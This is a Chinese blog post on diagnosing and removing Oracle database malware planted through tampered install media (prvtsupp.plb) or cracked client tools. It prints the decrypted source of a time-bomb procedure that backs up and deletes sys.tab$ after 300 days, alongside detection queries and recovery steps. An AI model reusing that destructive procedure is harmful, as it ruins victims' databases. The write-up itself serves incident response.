惡意程式造成資料庫啟動報錯

老w愛db發表於2023-09-24

資料庫啟動報錯

SQL> startup ORACLE instance started.

Total System Global Area 1068937216 bytes Fixed Size    2260088 bytes Variable Size  884999048 bytes Database Buffers  176160768 bytes Redo Buffers    5517312 bytes Database mounted. ORA-01092: ORACLE instance terminated. Disconnection forced ORA-00704: bootstrap process failure ORA-00704: bootstrap process failure ORA-00600: internal error code, arguments: [16703], [1403], [20], [], [], [], [], [], [], [], [], [] Process ID: 22618 Session ID: 1705 Serial number: 5

查詢資料庫是否有惡意程式並生成drop語句

查詢資料庫是否有惡意程式並生成drop語句

SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE  'DBMS_%_INTERNAL%'
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% '
UNION ALL
SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP'
UNION ALL
SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR'
;
檢視查詢資料庫是否有指令碼(必須使用sys刪除)
SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';
SQL> drop trigger DBMS_SUPPORT_DBMONITOR;
SQL> drop procedure DBMS_SUPPORT_DBMONITORP;

檢查/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb檔案中是否有儲存過程和觸發器並將其刪除(可以後刪)

檢視dba中得物件包括觸發器和儲存過程等

SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';


使用被篡改的安裝介質安裝資料庫後,會在資料庫內建立一個名為DBMS_SUPPORT_DBMONITORP的儲存過程和名為DBMS_SUPPORT_DBMONITOR的觸發器

透過sqlplus / as sysdba中檢視該儲存

SQL> select text from user_source where name='DBMS_SUPPORT_DBMONITORP' order by line;


TEXT
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
procedure DBMS_SUPPORT_DBMONITORP wrapped
a000000
369
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
abcd
7
166 17d
L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
lUETCD2WIxfg3w==

使用wraped加密的程式進行解密
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT :=10;
BEGIN
  SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
  IF (DATE1>=300) THEN
  EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
  DELETE SYS.TAB$;
  COMMIT;
  EXECUTE IMMEDIATE 'alter system checkpoint';
  END IF;
END;

這個orachk的表是用來備份tab$的,然後進一步發現有delete from tab$.至此基本上分析清楚,tab$表備份到ORACHK表中,然後delete tab$表資料.實現資料庫破壞以及難以恢復的效果

這裡可以明確的看到DBMS_SUPPORT_DBMONITORP儲存過程備份tab$表到orachk中然後delete tab$表,現在已經明確是由於DBMS_SUPPORT_DBMONITOR觸發器在資料庫重啟之後開始執行呼叫DBMS_SUPPORT_DBMONITORP程式,如果判斷資料庫建立時間大於等於300天,便幹掉tab$表,實現資料庫破壞.

異常處理

1、第一次處理過程

(1)、啟動資料庫到mount狀態:startup mount
(2)、使用之前的資料庫備份進行恢復
(3)、open資料庫:alter database open resetlogs
結果:開啟失敗,繼續報錯ORA-00600
原因:備份中包含了DBMS_SUPPORT_DBMONITOR和DBMS_SUPPORT_DBMONITORP,open資料庫時會被觸發
2、第二次處理過程

(1)、啟動資料庫到mount狀態:startup mount
(2)、使用之前的資料庫備份進行恢復
(3)、將所有觸發器禁用:alter system set “_system_trig_enabled”=false
(4)、開啟資料庫:alter database open resetlogs,成功open
(5)、刪除惡意的觸發器和儲存過程:

SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';

SQL> drop trigger DBMS_SUPPORT_DBMONITOR;**

**SQL> drop procedure DBMS_SUPPORT_DBMONITORP;

(6)、檢查/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb檔案中是否有儲存過程和觸發器並將其刪除(可以後刪)    

(7)、重啟資料庫:shutdown immediate、startup
經過上述操作,資料庫可以正常關閉、啟動,再次查詢,惡意的儲存過程和觸發器已被刪除

排查篡改得程式

1.透過檢查儲存過程和觸發器時間來排查是建庫時建立還是透過plsql等工具連線資料庫時導致該問題得。

select * from sys.obj$ where name in('DBMS_SUPPORT_DBMONITORP','DBMS_SUPPORT_DBMONITOR');
檢視建立時間和建立資料庫等時間是否一致
如果惡意程式來源於安裝介質,則進行下一步分析來源

分析DBMS_SUPPORT_DBMONITOR來源

搜尋包含該觸發器得檔案,搜尋DBMS_SUPPORT_DBMONITOR出現該觸發器和儲存過程包含得檔案

grep -r 'DBMS_SUPPORT_DBMONITOR' /u01/app/oracle/product/11.2.0/rdbms/admin/*


/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:create or replace trigger DBMS_SUPPORT_DBMONITOR
/u01/app/oracle/product/11.2.0/rdbms/admin/prvtsupp.plb:   DBMS_SUPPORT_DBMONITORP;
這裡已經很清晰,由於prvtsupp.plb被人注入了惡意指令碼從而使得資料庫被建立了DBMS_SUPPORT_DBMONITOR的觸發器和DBMS_SUPPORT_DBMONITORP的儲存過程,從而實現了對資料庫的而易破壞.

(可選)進一步確認破壞檔案prvtsupp.plb是否來源於安裝介質
透過對比安裝介質和官方版本檔案的md5值,透過md5來對比檔案一致性確定是否來自於安裝檔案

檢查是否由於PL/SQL Developer等工具注入

盜版或綠色破解版PL/SQL Developer

使用盜版或綠色破解版PL/SQL Developer工具或其他破解版工具連線資料庫,可能會導致惡意程式碼植入破壞資料庫。

Oracle PL/SQL Dev軟體中,裡面的一個檔案Afterconnet.sql
例如:
D:\cjc\plsql\PLSQL Developer 8.0.3.1510\AfterConnect.sql

其中afterconnect.sql的大小應該是0位元組,
login.sql開啟後只有一句註釋“- -Autostart Command Window script ”,如果這兩個檔案裡有其他內容,應懷疑是病毒

注入說明

注入方式
 從網上下載感染病毒的介質,在資料庫例項建立時SQL 注入指令碼被執行並建立了相應的觸發器和加密儲存過程。這種注入方式由於在資料庫例項建立時用SYS 賬號執行了被感染的指令碼檔案因此不需要依賴資料庫中的DBA 許可權的使用者。這種注入方式透過在$ORACLE_HOME/rdbms/admin 下的prvtsupp.plb 檔案中新增一個加密的過程和一個觸發器的建立指令碼,在使用者建立例項時會執行prvtsupp.plb 該檔案從而達到入侵的目的。
另外一種注入方式就是網上下載了被病毒感染的PL/SQL 或Toad 客戶端工具,如果使用者登陸這些工具時使用具有dba 許可權的使用者,則工具會在後臺執行執行相應的病毒指令碼並建立上面的過程和觸發器。
注入行為
 該觸發器在每次資料庫重啟後執行儲存過程,而儲存過程執行時會判斷當前時間距資料庫建立時間是否大於指定的天數 ( 我這次遇到的是300 天) ,如果大於指定的天數則在資料庫重啟後將資料庫字典基表TAB$ 備份後並清空。
在TAB$ 表被清空後如果資料庫不再重啟的話,資料庫後臺alert 日誌在報一系列ORA-00600 後會一直會報錯ORA-00604 和ORA-00957


`



來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70021989/viewspace-2985567/,如需轉載,請註明出處,否則將追究法律責任。

相關文章